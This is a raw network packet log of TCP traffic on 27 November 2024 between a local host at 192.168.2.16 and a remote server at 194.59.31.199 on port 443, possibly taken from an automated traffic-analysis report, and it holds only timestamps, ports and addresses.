                                                                                                              Nov 27, 2024 16:54:07.716200113 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.716248989 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.722793102 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.722815037 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.722887993 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.722908974 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.722965956 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.729312897 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.729338884 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.729434013 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.729439020 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.729501009 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.735969067 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.735991955 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.736083984 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.736088991 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.736140013 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.742149115 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.742173910 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.742219925 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.742227077 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.742258072 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.742280960 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.747965097 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.747987032 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.748068094 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.748097897 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.748148918 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.905072927 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.905098915 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.905204058 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.905247927 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.905302048 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.911719084 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.911736012 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.911809921 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.911817074 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.911858082 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.917547941 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.917565107 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.917629957 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.917634964 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.917680025 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.924405098 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.924420118 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.924485922 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.924491882 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.924540997 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.930779934 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.930794954 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.930869102 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.930875063 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.930919886 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.936696053 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.936711073 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.936804056 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.936811924 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.936862946 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.943783998 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.943816900 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.943867922 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.943877935 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.943907022 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.943927050 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.949567080 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.949599981 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.949659109 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:07.949666977 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:07.949707031 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.106620073 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.106642962 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.106703043 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.106748104 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.106774092 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.106813908 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.113225937 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.113295078 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.113692045 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.113706112 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.113821030 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.119417906 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.119441032 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.119513035 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.119525909 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.119573116 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.125885010 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.125907898 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.125957966 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.125967026 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.125998020 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.126020908 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.132354021 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.132379055 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.132478952 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.132488966 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.132540941 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.138997078 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.139018059 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.139086008 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.139105082 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.139149904 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.145211935 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.145230055 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.145313025 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.145322084 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.145365953 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.151098013 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.151115894 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.151218891 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.151231050 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.151274920 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.307938099 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.307971954 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.308075905 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.308106899 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.308156013 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.314572096 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.314598083 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.314675093 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.314682961 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.314730883 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.320374966 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.320400953 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.320472956 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.320480108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.320528030 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.327016115 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.327039003 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.327127934 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.327138901 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.327184916 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.333581924 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.333599091 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.333662033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.333677053 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.333725929 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.340318918 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.340337038 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.340420008 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.340435028 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.340481997 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.346487999 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.346504927 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.346579075 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.346601963 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.346652031 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.352611065 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.352628946 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.352684975 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.352690935 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.352721930 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.352730036 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.509865999 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.509905100 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.509995937 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.510025978 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.510040045 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.510077953 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.515914917 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.515943050 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.516041994 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.516051054 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.516110897 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.522352934 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.522381067 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.522454023 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.522475004 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.522528887 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.528793097 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.528816938 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.528903008 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.528942108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.528997898 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.535438061 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.535460949 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.535553932 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.535563946 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.535615921 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.541301966 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.541320086 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.541394949 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.541404963 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.541446924 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.548255920 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.548274040 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.548347950 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.548357010 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.548409939 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.554158926 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.554181099 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.554249048 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.554258108 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.554312944 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.710782051 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.710808039 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.710942030 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.710990906 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.711128950 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.717320919 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.717353106 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.717401981 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.717437983 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.717459917 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.717483997 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.724006891 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.724024057 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.724421978 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.724457979 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.724505901 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.730045080 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.730070114 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.730135918 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.730170012 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.730190039 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.730221033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.736452103 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.736474037 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.736552954 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.736591101 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.736644983 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.743113995 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.743139982 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.743196011 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.743233919 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.743249893 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.743283033 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.749332905 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.749357939 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.749444008 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.749476910 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.749521971 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.756103039 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.756131887 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.756242990 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.756278038 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.756330967 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.912245989 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.912271023 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.912503958 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.912537098 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.912590981 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.918812990 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.918843031 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.918888092 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.918895960 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.918927908 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.918955088 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.925432920 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.925453901 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.925515890 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.925523996 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.925569057 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.931334972 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.931355000 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.931581020 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.931581020 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.931588888 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.931648970 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.937964916 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.937982082 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.938049078 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.938055992 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.938110113 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.944480896 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.944498062 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.944564104 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.944571972 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.944612980 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.950715065 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.950731993 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.950802088 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.950809002 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.950846910 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.957552910 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.957581043 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.957632065 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.957639933 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:08.957664967 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:08.957684994 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.113869905 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.113890886 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.114006042 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.114041090 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.114099979 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.120038986 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.120054007 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.120182991 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.120187998 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.120234013 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.126642942 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.126657963 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.126754045 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.126760006 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.126802921 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.132622957 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.132638931 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.132725954 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.132731915 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.132776022 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.140062094 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.140078068 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.140196085 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.140202045 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.140244007 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.145704985 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.145720959 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.145812988 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.145819902 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.145864010 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.152334929 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.152350903 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.152425051 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.152431965 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.152471066 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.158564091 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.158586979 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.158668041 CET49724443192.168.2.16194.59.31.199
                                                                                                              Nov 27, 2024 16:54:09.158674955 CET44349724194.59.31.199192.168.2.16
                                                                                                              Nov 27, 2024 16:54:09.158709049 CET49724443192.168.2.16194.59.31.199
